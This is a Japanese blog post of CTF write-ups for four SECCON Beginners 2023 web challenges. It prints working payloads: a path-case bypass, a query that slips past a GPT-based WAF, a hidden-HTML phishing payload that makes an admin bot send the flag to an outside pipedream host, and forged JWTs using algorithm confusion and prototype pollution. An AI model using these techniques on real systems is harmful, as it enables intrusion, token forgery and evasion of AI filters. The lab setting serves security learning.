よーでんのブログ

One for All,All for わんわんお!

SECCON Beginners CTF 2023

SECCON Beginners CTF 2023 Web writeup

Web全完ならず。
解けなかったoooauthはどうやら方針はあってたようで、検証方法の所為でうまくいってなかったみたいでした・・・

Forbidden, aiwaf, phiser2, double check の writeup を書いていきます。

Forbidden (beginner: 56pt / 431solved)

You don't have permission to access /flag on this server.

Forbidden - TOP

アクセスすると「FLAGはこちら」と丁寧にflagへの案内がされている。
まずは素直にしたがってクリックしてみると、「Forbidden :(」と言われた。

Forbidden - forbidden

ソースコードが配布されているので、読んでみないと何もわからなそうだ。
Forbidden/app/index.js を読むと express を利用してることがわかる。また、/flag に関係する箇所だけ抜き出してみる。

const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

/flag へアクセスできれば flag が手に入りそうだが、block においてリクエストのパスの部分が /flag という文字列を含む場合に Forbidden が返ってきてしまう。

ここで、express の get は大文字小文字を判別しないため、 /flaG のような形でアクセスしてあげれば includes('/flag') をすり抜けることができる。

Forbidden - flag

ctf4b{403_forbidden_403_forbidden_403}

aiwaf (easy: 68pt / 254solved)

AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。

aiwaf - TOP

アクセスすると3つリンクがあり、「あ書」をクリックすると /?file=book0.txt に飛ぶ。

aiwaf - aiwaf

いかにもディレクトリトラバーサルっぽい見た目なので試してみたが、AIに検知された。
ソースコードを見に行く。

@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")

ユーザの入力が puuid に挟まれる形でAIに投げられるらしい。

入力が出力される部分は urllib.parse.unquote(request.query_string)[:50] となっているため、クエリストリング全体のうち最初50文字をAIに渡していることが判明する。

つまり、?01234567890123456789012345678901234567890123456789&file=../flag のような形にすれば、先頭50文字に file パラメータが含まれなくなって自由に入力できるようになる。

aiwaf - flag

ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

phisher2 (medium: 94pt / 118solved)

目に見える文字が全てではないが、過去の攻撃は通用しないはずです。

タイトルからして、去年 misc で出題されたホモグラフ攻撃のオマージュだろうか。 github.com

Phisher2 - TOP

アクセスするといきなり curl を要求される。
ひとまずは言われた通りやってみる。

┌──(yoden㉿y0d3n-DESKTOP)-[~]
└─$ curl -X POST -H "Content-Type: application/json" -d '{"text":"https://phisher2.beginners.seccon.games/foobar"}' https://phisher2.beginners.seccon.games
{"input_url":"https://phisher2.beginners.seccon.games/foobar","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/foobar"}

POST で送信した text に含まれるURLが安全だったら admin がアクセスしてくれるらしい。
これもまたソースコードを見に行く。

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}

text の内容が /var/www/uploads/{uuid}.html<p style="font-size:30px">{text}</p> の形式で保存され、そのファイルのパスと text の元の文字列が share2admin に渡される。
share2admin も読んでいく。

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
  :
# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")
  :

def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()


def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text

URLの判定は find_url_in_text の中で行われており、これは渡された文字列の中から一番最初にマッチしたURLを返す。

admin は /var/www/uploads/{uuid}.html のファイルを selenium で開き、ocrで読み取った文字列を find_url_in_text に渡す。その返り値のURLが APP_URL から始まる場合に {input_url}?flag={FLAG} で開く。

ここで注意すべきは input_urlfind_url_in_text(input_text) で取得されるURLだということ。
つまり、表示されない罠URLの後ろに正規のURLが表示される状態にしてあげれば良い。

自分の最終的なペイロードは以下。(正規表現の都合で-が使えないので、いつも愛用してるwebhook.siteが利用できなくて久しぶりに別ツールを使った。)

</p><div style='display:none;'>https://....pipedream.net</div><p style='font-size:30px'>https://phisher2.beginners.seccon.games/foobar

これで ocr_url = https://phisher2.beginners.seccon.games/foobar かつ input_url = https://....pipedream.net の状態が作れた。
これを送信すれば、adminからflagつきでアクセスがくる。

Phisher2 - flag

ctf4b{w451t4c4t154w?}

double check (medium: 149pt / 41solved)

Double check is very secure.

double check - TOP

いきなり「Cannot GET /」。正常系のリクエストも自分で組み立てるやつだ。

app.use(express.json());

app.post("/register", (req, res) => {
  const { username, password } = req.body;
  if(!username || !password) {
    res.status(400).json({ error: "Please send username and password" });
    return;
  }

  const user = {
    username: username,
    password: password
  };
  if (username === "admin" && password === getAdminPassword()) {
    user.admin = true;
  }
  req.session.user = user;
  console.log(user);
  let signed;
  try {
    signed = jwt.sign(
      _.omit(user, ["password"]),
      readKeyFromFile("keys/private.key"), 
      { algorithm: "RS256", expiresIn: "1h" } 
    );
  } catch (err) {
    res.status(500).json({ error: "Internal server error" });
    return;
  }
  res.header("Authorization", signed);

  res.json({ message: "ok" });
});

jsonでPOSTすれば良いこと、username, password のパラメータが必要なことがわかるのでリクエストしてみる。

double check - register

もう一つのエンドポイントも見てみる。

app.post("/flag", (req, res) => {
  if (!req.header("Authorization")) {
    res.status(400).json({ error: "No JWT Token" });
    return;
  }

  if (!req.session.user) {
    res.status(401).json({ error: "No User Found" });
    return;
  }

  let verified;
  try {
    verified = jwt.verify(
      req.header("Authorization"),
      readKeyFromFile("keys/public.key"), 
      { algorithms: ["RS256", "HS256"] }
    );
  } catch (err) {
    console.error(err);
    res.status(401).json({ error: "Invalid Token" });
    return;
  }

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

  res.send("No flag for you");
});

jwt を検証してadminだったらflagがもらえるらしい。 まずは任意のjwtトークンに署名をするところからクリアしていきたい。

jwtの検証時に HS256 を許可していて、配布ファイルには public.key が含まれている。これはあやしい。
HS256 にするのは過去解いたので、コードを使いまわした。(ほかの人のwriteupみてたらみんな便利そうなの使ってた) writeup/2020_0601_HSCTF7/Broken_Tokens at master · y0d3n/writeup · GitHub

import jwt

with open("./app/keys/public.key.orign", "r") as f:
        key = f.read()

print (jwt.encode({"username":"admin","iat":1685861727,"exp":1685865327}, key, algorithm="HS256"))

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjg1ODYxNzI3LCJleHAiOjE2ODU4NjUzMjd9.aFkF2YfEVPVK7hvH6xJ3WfbJOZc3sV1tHun7T_ctFuI

admin:pw/register し、自作のtokenで正常に動作するか確認。

double check - hs256

トークンのエラーがでない。良い感じ。
任意のトークンを発行できるようになったので、次はadminへの昇格を考える。

  if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
    verified = _.omit(verified, ["admin"]);
  }

  const token = Object.assign({}, verified);
  const user = Object.assign(req.session.user, verified);

  if (token.admin && user.admin) {
    res.send(`Congratulations! Here"s your flag: ${FLAG}`);
    return;
  }

ユーザ名・パスワードがともに正しくない場合はjwtのトークンから admin フィールドが消される。
ので {"username":"admin","admin":True,"iat":1685861727,"exp":1685865327}みたいな形にしても意味はない。

ここで「admin フィールドが消されるなら user.__proto__.admin をセットしておけばよさそうだな」とひらめいた。
{"username":"admin","__proto__":{"admin":True},"iat":1685861727,"exp":1685865327}トークンを生成する。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWlhbiIsIl9fcHJvdG9fXyI6eyJhZG1pbiI6dHJ1ZX0sImlhdCI6MTY4NTg2MTcyNywiZXhwIjoxNjg1ODY1MzI3fQ.w2TE-lwWDwoh0mXJInUvVSD2lMP5kDxuikLFD0V1YIo

double check - flag

ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}